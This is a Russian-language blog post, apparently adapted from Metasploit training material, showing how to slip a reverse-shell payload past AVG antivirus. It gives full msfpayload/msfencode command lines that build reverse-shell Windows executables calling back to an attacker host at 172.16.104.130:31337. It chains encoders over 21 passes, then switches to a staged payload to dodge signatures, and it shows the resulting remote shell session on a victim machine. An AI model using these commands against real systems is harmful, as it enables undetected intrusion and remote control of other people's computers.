samedi 27 mars 2010

Обход антивирусной защиты.

Как мы видели полезная нагрузка в Metasploit работает здорово. Но есть несколько осложнений. В связи с большим распространением вредоносного ПО, большинство операционных систем семейства Windows работают под защитой того или иного антивирусного программного обеспечения. Давайте приблизим наш пример к реальной жизни и установим бесплатный антивирус AVG и посмотрим, что произойдет с нашим файлом.

Как и предполагалось, антивирус забил тревогу. Давайте подумаем, что мы можем сделать для предотвращения обнаружения нашего модуля антивирусом.
Мы закриптуем исполняемый файл, чтобы усложнить обнаружение антивирусом. Будем использовать командную строку msfencode. Давайте взглянем на некоторые опции, запустив msfencode с переключателем '-h'.

root@bt4:/pentest/exploits/framework3# ./msfencode -h

Usage: ./msfencode

OPTIONS:

-a The architecture to encode as
-b The list of characters to avoid: 'x00xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)

Давайте посмотрим какие кодировщики у нас имеются, запустив 'msfencode -l'.

root@bt4:/pentest/exploits/framework3# ./msfencode -l

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Отлично. Мы видим наши возможности, и множество различных кодировщиков которыми мы можем воспользоваться. Давайте воспользуемся "shikata ga nai encoder", подав на его вход вывод команды msfpayload (для бэк-коннекта к нашей машине) из примера выше.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe

[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

root@bt:/pentest/exploits/framework3# file /tmp/2.exe

/tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Передадим бинарный файл на другую систему и посмотрим, что произойдет.

Все плохо. Он по прежнему уязвим перед AVG. Ну, мы не можем позволить AVG выиграть, правда? Давайте прикинемся немного параноиками и используем три различных кодировщика, двум из которых мы скомандуем по десять проходов, итого на три кодировщика у нас 21 проход. Это то число проходов, при котором файл все еще остается быть рабочим бинарным. AVG никогда не обойти это!

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > /tmp/6.exe
[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 342 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 369 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 396 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 423 (iteration=5)

[*] x86/shikata_ga_nai succeeded with size 450 (iteration=6)

[*] x86/shikata_ga_nai succeeded with size 477 (iteration=7)

[*] x86/shikata_ga_nai succeeded with size 504 (iteration=8)

[*] x86/shikata_ga_nai succeeded with size 531 (iteration=9)

[*] x86/shikata_ga_nai succeeded with size 558 (iteration=10)

[*] x86/call4_dword_xor succeeded with size 586 (iteration=1)

[*] x86/call4_dword_xor succeeded with size 614 (iteration=2)

[*] x86/call4_dword_xor succeeded with size 642 (iteration=3)

[*] x86/call4_dword_xor succeeded with size 670 (iteration=4)

[*] x86/call4_dword_xor succeeded with size 698 (iteration=5)

[*] x86/call4_dword_xor succeeded with size 726 (iteration=6)

[*] x86/call4_dword_xor succeeded with size 754 (iteration=7)

[*] x86/call4_dword_xor succeeded with size 782 (iteration=8)

[*] x86/call4_dword_xor succeeded with size 810 (iteration=9)

[*] x86/call4_dword_xor succeeded with size 838 (iteration=10)

[*] x86/countdown succeeded with size 856 (iteration=1)

root@bt4:/pentest/exploits/framework3# file /tmp/6.exe
/tmp/6.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Хорошо, мы копируем бинарный файл, запускаем его, ииииии.....

Нам опять не удалось! AVG по прежнему обнаруживает в нашем бинарнике вредоносный код. Сможем ли мы вообще это обойти? Что же, оказывается, у нас есть некоторые уловки. Metasploit поддерживает два различных типа полезной нагрузки. Первый вид 'windows/shell_reverse_tcp', содержит весь код необходимый для полезной нагрузки. Другой 'windows/shell/reverse_tcp' работает немного по другому. 'windows/shell/reverse_tcp' содержит код для открытия сетевого подключения, остальной код эксплоита находится на машине нападающего. Таким образом в случае 'windows/shell/reverse_tcp', подключение выполняется к атакующему хосту, остальная часть полезной нагрузки будет загружена в память, а затем предоставляется shell.
Итак как ведет себя при этом антивирус? Ну большинство антивирусов работает на основе сигнатурной технологии. Код сигнатуры 'windows/shell_reverse_tcp' содержится в базах вредоносного ПО. 'windows/shell/reverse_tcp' соответственно не содержит тех сигнатур, что ищет AVG.
Имея это в виду, давайте генерировать 'Windows / Shell / reverse_tcp' бинарную полезную нагрузку.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 278
Options: LHOST=172.16.104.130,LPORT=31337

root@bt4:/pentest/exploits/framework3# file /tmp/7.exe
/tmp/7.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Ладно теперь мы скопируем файл на удаленную систему и запустим, посмотрим что произойдет.

root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Jim\My Documents

05/27/2009 09:56 PM
.
05/27/2009 09:56 PM
..
05/25/2009 09:36 PM 9,728 7.exe
05/25/2009 11:46 PM
Downloads
10/29/2008 05:55 PM
My Music
10/29/2008 05:55 PM
My Pictures
1 File(s) 9,728 bytes
5 Dir(s) 38,655,614,976 bytes free

C:\Documents and Settings\Jim\My Documents>

Успех! Наша нагрузка успешно уклонилась от антивирусной защиты.

Э_L_A_Y c brutforcer.ru

Aucun commentaire:

Enregistrer un commentaire